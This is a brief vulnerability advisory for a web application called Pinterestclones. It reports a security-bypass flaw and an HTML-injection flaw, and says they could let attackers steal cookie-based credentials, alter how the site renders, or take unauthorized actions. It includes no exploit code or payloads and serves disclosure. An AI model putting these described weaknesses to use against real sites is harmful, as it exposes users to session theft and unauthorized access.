Pinterestclones is prone to a security-bypass vulnerability and an HTML-injection vulnerability because it fails to properly validate user permissions and sanitize user-supplied input.

An attacker may leverage the HTML-injection issue to inject hostile HTML and script code that would run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. The attacker may leverage the security-bypass issue to bypass certain security restrictions and perform unauthorized actions in the affected application.
